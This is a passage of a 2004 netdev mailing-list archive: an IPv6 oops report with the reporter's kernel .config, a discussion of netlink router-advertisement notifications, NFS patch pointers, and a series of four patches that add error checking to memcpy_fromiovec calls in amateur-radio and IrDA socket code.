-0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GJLumK030950 for ; Fri, 16 Jan 2004 11:21:56 -0800 Received: from akpm.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0GJLoo09297; Fri, 16 Jan 2004 11:21:50 -0800 Date: Fri, 16 Jan 2004 11:23:10 -0800 From: Andrew Morton To: netdev@oss.sgi.com, thomas.schlichter@web.de Subject: Re: Fw: Oops in register_proc_table (2.6.1-mm4) Message-Id: <20040116112310.424d9020.akpm@osdl.org> In-Reply-To: <20040116104709.2163912c.akpm@osdl.org> References: <20040116104709.2163912c.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i586-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2544 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 1802 Lines: 45 Andrew Morton wrote: > > > NET: Registered protocol family 10 > Unable to handle kernel paging request at virtual address 000927c0 > printing eip: > c012ba17 > *pde = 00000000 > Oops: 0000 [#1] > PREEMPT > CPU: 0 > EIP: 0060:[] Not tainted VLI > EFLAGS: 00010246 > EIP is at register_proc_table+0x47/0x120 > eax: 00000000 ebx: e106c9ec ecx: ffffffff edx: 000927c0 > esi: 00000000 edi: 000927c0 ebp: c012b130 esp: de4ddd7c > ds: 007b es: 007b ss: 0068 > Process modprobe (pid: 1936, threadinfo=de4dc000 task=de9e3900) > Stack: e1061159 000081a4 de6e5c40 81a40000 de6e5c40 e106d480 00000000 de6e5c40 > 00000000 c012ba7c e10617fc 0000416d de6e5cc0 416d0000 de6e5cc0 e106d640 > 00000000 de6e5cc0 00000000 c012ba7c e1061862 0000416d dffccac0 416dddec > Call Trace: > [] register_proc_table+0xac/0x120 > [] register_proc_table+0xac/0x120 > [] register_proc_table+0xac/0x120 > [] register_sysctl_table+0x5e/0x80 > [] ipv6_sysctl_register+0x17/0x20 [ipv6] > [] inet6_init+0x18b/0x2d0 [ipv6] > [] sys_init_module+0x17b/0x1670 > [] vma_link+0x76/0xc0 > [] do_mmap_pgoff+0x38c/0x6f9 > [] filp_close+0x59/0xa0 > [] sys_close+0x5b/0xa0 > [] syscall_call+0x7/0xb > > Code: 33 85 f6 0f 84 9b 00 00 00 8b 53 04 85 d2 89 d7 74 ea 8b 73 18 85 f6 75 > 0b 8b 43 14 85 c0 0f 84 cb 00 00 00 31 c0 b9 ff ff ff ff a > e f7 d1 49 85 f6 0f b7 43 10 89 cd 66 89 44 24 0e 74 6d 66 > <7>request_module: failed /sbin/modprobe -- net-pf-10. error = 11 > > If this is not enough information to track down the problem I can provide > my .config of any other information, of course. Actually, yes. Please send your .config. From xma@us.ibm.com Fri Jan 16 11:42:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 11:43:01 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GJgmmK032224 for ; Fri, 16 Jan 2004 11:42:48 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0GJg219526320; Fri, 16 Jan 2004 14:42:02 -0500 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0GJg1K3106382; Fri, 16 Jan 2004 12:42:01 -0700 Importance: Normal Sensitivity: Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Fri, 16 Jan 2004 11:41:59 -0800 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/16/2004 12:42:01 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=08BBE48EDFF90F258f9e8a93df938690918c08BBE48EDFF90F25" Content-Disposition: inline X-archive-position: 2545 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 3733 Lines: 125 --0__=08BBE48EDFF90F258f9e8a93df938690918c08BBE48EDFF90F25 Content-type: text/plain; charset=ISO-2022-JP Content-transfer-encoding: quoted-printable Yes. radvd should provide all these information. But radvd doesn't supp= ort this right now. I talked to someone who is patching SNMP to support new= IP MIBs, he said it's better to support this through netlink, since netlin= k supports all other MIBs. Does netlink support user-user communication? Anyway I will talk to radvd maintainers to ask them to support this if = you think this netlink notification is not needed. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 YOSHIFUJI Hideaki / =1B$B5HF#1QL@=1B(B @oss.sg= i.com on 01/16/2004 11:17:25 AM Sent by: netdev-bounce@oss.sgi.com To: Shirley Ma/Beaverton/IBM@IBMUS cc: davem@redhat.com, mashirle@us.ltcfwd.linux.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.or= g Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification In article (at Fri= , 16 Jan 2004 10:38:49 -0800), Shirley Ma says: > But the patch is still needed for the Router, so it should be put in > ndisc_router_discovery() when it's determined as a router. Are you OK= with > that? I don't understand why it is needed. radvd is respoinsible for those information. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA = --0__=08BBE48EDFF90F258f9e8a93df938690918c08BBE48EDFF90F25 Content-type: text/html; charset=ISO-2022-JP Content-Disposition: inline Content-transfer-encoding: quoted-printable

Yes. radvd should provide all these information. But radvd doesn't s= upport this right now. I talked to someone who is patching SNMP to supp= ort new IP MIBs, he said it's better to support this through netlink, s= ince netlink supports all other MIBs. Does netlink support user-user co= mmunication?

Anyway I will talk to radvd maintainers to ask them to support this if = you think this netlink notification is not needed.

Thanks
Shirley Ma
IBM Linux Technology Center
15300 SW Koll Parkway
Beaverton, OR 97006-6063
Phone: (503) 578-7638
FAX: (503) 578-3228


Sent by: netdev-bounce@oss.sgi.co= m

To: Shirl= ey Ma/Beaverton/IBM@IBMUS
cc: davem@re= dhat.com, mashirle@us.ltcfwd.linux.ibm.com, kuznet@ms2.inr.ac.ru, netde= v@oss.sgi.com, yoshfuji@linux-ipv6.org
Subject: Re:= [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification


In article <OFDFE3736C.20FD7F98-ON87256E1= D.00662F80@us.ibm.com> (at Fri, 16 Jan 2004 10:38:49 -0800), Shirley= Ma <xma@us.ibm.com> says:

> But the patch is still needed for the Router, so it should be put = in
> ndisc_router_discovery() when it's determined as a router. Are you= OK with
> that?

I don't understand why it is needed.
radvd is respoinsible for those information.

--
Hideaki YOSHIFUJI @ USAGI Project <yoshfuji@linux-ipv6.org>
GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA



= --0__=08BBE48EDFF90F258f9e8a93df938690918c08BBE48EDFF90F25-- From mfedyk@matchmail.com Fri Jan 16 12:16:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 12:16:47 -0800 (PST) Received: from mtaw4.prodigy.net (mtaw4.prodigy.net [64.164.98.52]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GKGWmK001149 for ; Fri, 16 Jan 2004 12:16:33 -0800 Received: from fileserver.matchmail.com (adsl-63-194-239-202.dsl.lsan03.pacbell.net [63.194.239.202]) by mtaw4.prodigy.net (8.12.10/8.12.10) with ESMTP id i0GKGShX016320; Fri, 16 Jan 2004 12:16:28 -0800 (PST) Received: from [10.0.0.2] (helo=srv-lnx2600.matchmail.com) by matchmail.com with esmtp (Exim 4.30) id 1AhaOF-0001LT-6o; Fri, 16 Jan 2004 12:16:23 -0800 Received: from mfedyk by srv-lnx2600.matchmail.com with local (Exim 4.30) id 1AhaOF-0002iv-2y; Fri, 16 Jan 2004 12:16:23 -0800 Date: Fri, 16 Jan 2004 12:16:23 -0800 From: Mike Fedyk To: Patrick Mau , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Stale Filehandles was: [2.6] nfs_rename: target $file busy, d_count=2 Message-ID: <20040116201623.GO1748@srv-lnx2600.matchmail.com> Mail-Followup-To: Patrick Mau , linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: <20040116050642.GF1748@srv-lnx2600.matchmail.com> <20040116130336.GA5220@oscar.prima.de> <20040116184031.GM1748@srv-lnx2600.matchmail.com> <20040116185504.GN1748@srv-lnx2600.matchmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040116185504.GN1748@srv-lnx2600.matchmail.com> User-Agent: Mutt/1.5.4i X-archive-position: 2546 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mfedyk@matchmail.com Precedence: bulk X-list: netdev Content-Length: 1358 Lines: 35 On Fri, Jan 16, 2004 at 10:55:04AM -0800, Mike Fedyk wrote: > On Fri, Jan 16, 2004 at 10:40:31AM -0800, Mike Fedyk wrote: > > I only had a few nfs clients doing light load, (kde home directories, and > > such) and was able to reproduce stale nfs file handles just by running "find > > > /dev/null" on the nfs share. > > > > Have you tried the -mm tree recently? 2.6.1-mm4 even has some new nfsd > > patches in there (maybe you should wait until -mm5 though, there are a few > > Stale filehandles is the main problem right now, and I don't see how > nfs_raname would be related (just that it was there while I was having > trouble with the stale file handles...) > > http://www.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.1/2.6.1-mm4/broken-out/nfsd-01-stale-filehandles-fixes.patch > > This one looks particularly interesting... > Most of the nfs client patches are for NFS4 or RPCSEC_GSS. Except for: http://www.kernel.org/pub/linux/kernel/people/akpm/patches/2.6/2.6.1/2.6.1-mm4/broken-out/ nfs-26-sock_disconnect.patch nfs-31-attr.patch nfs-client-deadlock-fix.patch nfs-fix-bogus-setattr-calls.patch nfs-open-intent-fix.patch nfs-optimise-COMMIT-calls.patch nfs-readonly-mounts-fix.patch nfs-rpc-debug-oops-fix.patch These might be interesting to test, but so far I haven't had troubles with the stock Linus 2.6 nfs3 client. Mike From davem@pizda.ninka.net Fri Jan 16 12:16:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 12:16:48 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GKGRmK001142 for ; Fri, 16 Jan 2004 12:16:29 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA13105; Fri, 16 Jan 2004 12:08:35 -0800 Date: Fri, 16 Jan 2004 12:08:35 -0800 From: "David S. Miller" To: Shirley Ma Cc: yoshfuji@linux-ipv6.org, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification Message-Id: <20040116120835.7f32f5e5.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2547 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 635 Lines: 15 On Fri, 16 Jan 2004 11:41:59 -0800 Shirley Ma wrote: > Does netlink support user-user communication? Yes, it does. One thing I want people to keep in mind in these discussions, while I understand the concerns being addressed and discussed, I think it would be somewhat rediculious for one to be required to go to multiple places just to put a complete ipv6 mib together. For example, a bunch of procfs files, some netlink stuff, and some status files emitted by some userlevel daemon. This is the situation I'd like to see avoided. It looks like we can push all of this stuff over netlink, which would be ideal. From yoshfuji@linux-ipv6.org Fri Jan 16 12:23:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 12:23:33 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GKNJmK002072 for ; Fri, 16 Jan 2004 12:23:20 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 5FF0233CA5; Sat, 17 Jan 2004 05:23:48 +0900 (JST) Date: Sat, 17 Jan 2004 05:23:48 +0900 (JST) Message-Id: <20040117.052348.44213733.yoshfuji@linux-ipv6.org> To: xma@us.ibm.com Cc: davem@redhat.com, mashirle@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2548 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 1040 Lines: 21 In article (at Fri, 16 Jan 2004 11:41:59 -0800), Shirley Ma says: > Yes. radvd should provide all these information. But radvd doesn't support > this right now. I talked to someone who is patching SNMP to support new IP > MIBs, he said it's better to support this through netlink, since netlink > supports all other MIBs. Does netlink support user-user communication? Yes, netlink is one option and is possibly a good candidate. I believe netlink supports user-user communication and rtadvd can use it to provide information to other entities. > Anyway I will talk to radvd maintainers to ask them to support this if you > think this netlink notification is not needed. I do not think netlink RA notification is required in kernel. What you (or the radvd maintainer) need to do is to allocate some constants and structures for the message. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From chrisw@osdl.org Fri Jan 16 14:25:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 14:25:31 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GMPFmK008955 for ; Fri, 16 Jan 2004 14:25:16 -0800 Received: (from chrisw@localhost) by mail.osdl.org (8.11.6/8.11.6) id i0GMP2n13685; Fri, 16 Jan 2004 14:25:02 -0800 Date: Fri, 16 Jan 2004 14:25:02 -0800 From: Chris Wright To: davem@redhat.com Cc: netdev@oss.sgi.com, shemminger@osdl.org Subject: [PATCH 1/4] ax25 check error on memcpy_fromiovec (resend) Message-ID: <20040116142502.B19034@osdlab.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-archive-position: 2549 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chrisw@osdl.org Precedence: bulk X-list: netdev Content-Length: 693 Lines: 22 Check the return value on memcpy_fromiovec(). net/ax25/af_ax25.c | 7 ++++++- 1 files changed, 6 insertions(+), 1 deletion(-) ===== net/ax25/af_ax25.c 1.36 vs edited ===== --- 1.36/net/ax25/af_ax25.c Fri Jan 9 01:53:04 2004 +++ edited/net/ax25/af_ax25.c Fri Jan 16 14:13:54 2004 @@ -1526,7 +1526,12 @@ SOCK_DEBUG(sk, "AX.25: Appending user data\n"); /* User data follows immediately after the AX.25 data */ - memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len); + if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) { + err = -EFAULT; + kfree_skb(skb); + goto out; + } + skb->nh.raw = skb->data; /* Add the PID if one is not supplied by the user in the skb */ From chrisw@osdl.org Fri Jan 16 14:26:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 14:26:41 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GMQRmK009087 for ; Fri, 16 Jan 2004 14:26:27 -0800 Received: (from chrisw@localhost) by mail.osdl.org (8.11.6/8.11.6) id i0GMQE813850; Fri, 16 Jan 2004 14:26:14 -0800 Date: Fri, 16 Jan 2004 14:26:14 -0800 From: Chris Wright To: davem@redhat.com Cc: netdev@oss.sgi.com, shemminger@osdl.org Subject: [PATCH 2/4] irda check error on memcpy_fromiovec (resend) Message-ID: <20040116142614.T19023@osdlab.pdx.osdl.net> References: <20040116142502.B19034@osdlab.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20040116142502.B19034@osdlab.pdx.osdl.net>; from chrisw@osdl.org on Fri, Jan 16, 2004 at 02:25:02PM -0800 X-archive-position: 2550 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chrisw@osdl.org Precedence: bulk X-list: netdev Content-Length: 1347 Lines: 47 Check the return value on memcpy_fromiovec(). net/irda/af_irda.c | 18 +++++++++++++++--- 1 files changed, 15 insertions(+), 3 deletions(-) ===== net/irda/af_irda.c 1.49 vs edited ===== --- 1.49/net/irda/af_irda.c Fri Jan 9 02:10:53 2004 +++ edited/net/irda/af_irda.c Fri Jan 16 14:18:02 2004 @@ -1307,7 +1307,11 @@ skb_reserve(skb, self->max_header_size + 16); asmptr = skb->h.raw = skb_put(skb, len); - memcpy_fromiovec(asmptr, msg->msg_iov, len); + err = memcpy_fromiovec(asmptr, msg->msg_iov, len); + if (err) { + kfree_skb(skb); + return err; + } /* * Just send the message to TinyTP, and let it deal with possible @@ -1550,7 +1554,11 @@ IRDA_DEBUG(4, "%s(), appending user data\n", __FUNCTION__); asmptr = skb->h.raw = skb_put(skb, len); - memcpy_fromiovec(asmptr, msg->msg_iov, len); + err = memcpy_fromiovec(asmptr, msg->msg_iov, len); + if (err) { + kfree_skb(skb); + return err; + } /* * Just send the message to TinyTP, and let it deal with possible @@ -1613,7 +1621,11 @@ IRDA_DEBUG(4, "%s(), appending user data\n", __FUNCTION__); asmptr = skb->h.raw = skb_put(skb, len); - memcpy_fromiovec(asmptr, msg->msg_iov, len); + err = memcpy_fromiovec(asmptr, msg->msg_iov, len); + if (err) { + kfree_skb(skb); + return err; + } err = irlmp_connless_data_request(self->lsap, skb); if (err) { From chrisw@osdl.org Fri Jan 16 14:27:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 14:27:50 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GMRZmK009404 for ; Fri, 16 Jan 2004 14:27:36 -0800 Received: (from chrisw@localhost) by mail.osdl.org (8.11.6/8.11.6) id i0GMRNG14162; Fri, 16 Jan 2004 14:27:23 -0800 Date: Fri, 16 Jan 2004 14:27:23 -0800 From: Chris Wright To: davem@redhat.com Cc: netdev@oss.sgi.com, shemminger@osdl.org Subject: [PATCH 3/4] netrom check error on memcpy_fromiovec (resend) Message-ID: <20040116142723.U19023@osdlab.pdx.osdl.net> References: <20040116142502.B19034@osdlab.pdx.osdl.net> <20040116142614.T19023@osdlab.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20040116142614.T19023@osdlab.pdx.osdl.net>; from chrisw@osdl.org on Fri, Jan 16, 2004 at 02:26:14PM -0800 X-archive-position: 2551 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chrisw@osdl.org Precedence: bulk X-list: netdev Content-Length: 703 Lines: 22 Check the return value on memcpy_fromiovec(). net/netrom/af_netrom.c | 7 ++++++- 1 files changed, 6 insertions(+), 1 deletion(-) ===== net/netrom/af_netrom.c 1.43 vs edited ===== --- 1.43/net/netrom/af_netrom.c Fri Jan 9 01:56:08 2004 +++ edited/net/netrom/af_netrom.c Fri Jan 16 14:17:01 2004 @@ -1101,7 +1101,12 @@ SOCK_DEBUG(sk, "NET/ROM: Appending user data\n"); /* User data follows immediately after the NET/ROM transport header */ - memcpy_fromiovec(asmptr, msg->msg_iov, len); + if (memcpy_fromiovec(asmptr, msg->msg_iov, len)) { + kfree_skb(skb); + err = -EFAULT; + goto out; + } + SOCK_DEBUG(sk, "NET/ROM: Transmitting buffer\n"); if (sk->sk_state != TCP_ESTABLISHED) { From chrisw@osdl.org Fri Jan 16 14:28:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 14:28:46 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GMSXmK009856 for ; Fri, 16 Jan 2004 14:28:33 -0800 Received: (from chrisw@localhost) by mail.osdl.org (8.11.6/8.11.6) id i0GMSLk14514; Fri, 16 Jan 2004 14:28:21 -0800 Date: Fri, 16 Jan 2004 14:28:21 -0800 From: Chris Wright To: davem@redhat.com Cc: netdev@oss.sgi.com, shemminger@osdl.org Subject: [PATCH 4/4] rose check error on memcpy_fromiovec (resend) Message-ID: <20040116142821.V19023@osdlab.pdx.osdl.net> References: <20040116142502.B19034@osdlab.pdx.osdl.net> <20040116142614.T19023@osdlab.pdx.osdl.net> <20040116142723.U19023@osdlab.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20040116142723.U19023@osdlab.pdx.osdl.net>; from chrisw@osdl.org on Fri, Jan 16, 2004 at 02:27:23PM -0800 X-archive-position: 2552 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chrisw@osdl.org Precedence: bulk X-list: netdev Content-Length: 1108 Lines: 42 Check the return value on memcpy_fromiovec(). net/rose/af_rose.c | 12 +++++++++--- 1 files changed, 9 insertions(+), 3 deletions(-) ===== net/rose/af_rose.c 1.37 vs edited ===== --- 1.37/net/rose/af_rose.c Fri Jan 9 01:56:39 2004 +++ edited/net/rose/af_rose.c Fri Jan 16 14:15:17 2004 @@ -1083,7 +1083,11 @@ asmptr = skb->h.raw = skb_put(skb, len); - memcpy_fromiovec(asmptr, msg->msg_iov, len); + err = memcpy_fromiovec(asmptr, msg->msg_iov, len); + if (err) { + kfree_skb(skb); + return err; + } /* * If the Q BIT Include socket option is in force, the first @@ -1133,8 +1137,10 @@ frontlen = skb_headroom(skb); while (skb->len > 0) { - if ((skbn = sock_alloc_send_skb(sk, frontlen + ROSE_PACLEN, 0, &err)) == NULL) + if ((skbn = sock_alloc_send_skb(sk, frontlen + ROSE_PACLEN, 0, &err)) == NULL) { + kfree_skb(skb); return err; + } skbn->sk = sk; skbn->free = 1; @@ -1159,7 +1165,7 @@ } skb->free = 1; - kfree_skb(skb, FREE_WRITE); + kfree_skb(skb); } else { skb_queue_tail(&sk->sk_write_queue, skb); /* Throw it on the queue */ } From thomas.schlichter@web.de Fri Jan 16 15:44:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 16 Jan 2004 15:44:35 -0800 (PST) Received: from mailgate3.cinetic.de (mailgate3.cinetic.de [217.72.192.164]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0GNiJmK015102 for ; Fri, 16 Jan 2004 15:44:20 -0800 Received: from smtp.web.de (fmsmtp02.dlan.cinetic.de [172.20.1.79]) by mailgate3.cinetic.de (8.11.6p2/8.11.2/SuSE Linux 8.11.0-0.4) with ESMTP id i0GNiDd09810 for ; Sat, 17 Jan 2004 00:44:13 +0100 Received: from [217.228.172.103] (helo=bigboss.workgroup) by smtp.web.de with asmtp (TLSv1:RC4-MD5:128) (WEB.DE 4.99 #566) id 1Ahda8-0003er-00; Sat, 17 Jan 2004 00:40:53 +0100 From: Thomas Schlichter To: Andrew Morton , netdev@oss.sgi.com Subject: Re: Fw: Oops in register_proc_table (2.6.1-mm4) Date: Sat, 17 Jan 2004 00:40:49 +0100 User-Agent: KMail/1.5.4 References: <20040116104709.2163912c.akpm@osdl.org> <20040116112310.424d9020.akpm@osdl.org> In-Reply-To: <20040116112310.424d9020.akpm@osdl.org> MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=pgp-sha1; boundary="Boundary-03=_EaHCAZyfax5MFq5"; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200401170040.52852.thomas.schlichter@web.de> X-archive-position: 2553 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: thomas.schlichter@web.de Precedence: bulk X-list: netdev Content-Length: 51343 Lines: 2636 --Boundary-03=_EaHCAZyfax5MFq5 Content-Type: multipart/mixed; boundary="Boundary-01=_BaHCA0Tm7A9XggG" Content-Transfer-Encoding: 7bit Content-Description: signed data Content-Disposition: inline --Boundary-01=_BaHCA0Tm7A9XggG Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Description: body text Content-Disposition: inline Am Freitag, 16. Januar 2004 20:23 schrieb Andrew Morton: > Andrew Morton wrote: > > NET: Registered protocol family 10 > > Unable to handle kernel paging request at virtual address 000927c0 > > printing eip: > > c012ba17 > > *pde = 00000000 > > Oops: 0000 [#1] > > PREEMPT > > CPU: 0 > > EIP: 0060:[] Not tainted VLI > > EFLAGS: 00010246 > > EIP is at register_proc_table+0x47/0x120 > > eax: 00000000 ebx: e106c9ec ecx: ffffffff edx: 000927c0 > > esi: 00000000 edi: 000927c0 ebp: c012b130 esp: de4ddd7c > > ds: 007b es: 007b ss: 0068 > > Process modprobe (pid: 1936, threadinfo=de4dc000 task=de9e3900) > > Stack: e1061159 000081a4 de6e5c40 81a40000 de6e5c40 e106d480 00000000 > > de6e5c40 00000000 c012ba7c e10617fc 0000416d de6e5cc0 416d0000 de6e5cc0 > > e106d640 00000000 de6e5cc0 00000000 c012ba7c e1061862 0000416d dffccac0 > > 416dddec Call Trace: > > [] register_proc_table+0xac/0x120 > > [] register_proc_table+0xac/0x120 > > [] register_proc_table+0xac/0x120 > > [] register_sysctl_table+0x5e/0x80 > > [] ipv6_sysctl_register+0x17/0x20 [ipv6] > > [] inet6_init+0x18b/0x2d0 [ipv6] > > [] sys_init_module+0x17b/0x1670 > > [] vma_link+0x76/0xc0 > > [] do_mmap_pgoff+0x38c/0x6f9 > > [] filp_close+0x59/0xa0 > > [] sys_close+0x5b/0xa0 > > [] syscall_call+0x7/0xb > > > > Code: 33 85 f6 0f 84 9b 00 00 00 8b 53 04 85 d2 89 d7 74 ea 8b 73 18 85 > > f6 75 0b 8b 43 14 85 c0 0f 84 cb 00 00 00 31 c0 b9 ff ff ff ff a > > e f7 d1 49 85 f6 0f b7 43 10 89 cd 66 89 44 24 0e 74 6d 66 > > <7>request_module: failed /sbin/modprobe -- net-pf-10. error = 11 > > > > If this is not enough information to track down the problem I can provide > > my .config of any other information, of course. > > Actually, yes. Please send your .config. OK, here it is... ;-) --Boundary-01=_BaHCA0Tm7A9XggG Content-Type: text/plain; charset="iso-8859-1"; name=".config" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename=".config" # # Automatically generated make config: don't edit # CONFIG_X86=y CONFIG_MMU=y CONFIG_UID16=y CONFIG_GENERIC_ISA_DMA=y # # Code maturity level options # CONFIG_EXPERIMENTAL=y CONFIG_CLEAN_COMPILE=y CONFIG_STANDALONE=y CONFIG_BROKEN_ON_SMP=y # # General setup # CONFIG_SWAP=y CONFIG_SYSVIPC=y CONFIG_BSD_PROCESS_ACCT=y CONFIG_SYSCTL=y CONFIG_LOG_BUF_SHIFT=14 CONFIG_IKCONFIG=y CONFIG_IKCONFIG_PROC=y # CONFIG_EMBEDDED is not set CONFIG_KALLSYMS=y CONFIG_FUTEX=y CONFIG_EPOLL=y CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_AS=y CONFIG_IOSCHED_DEADLINE=y 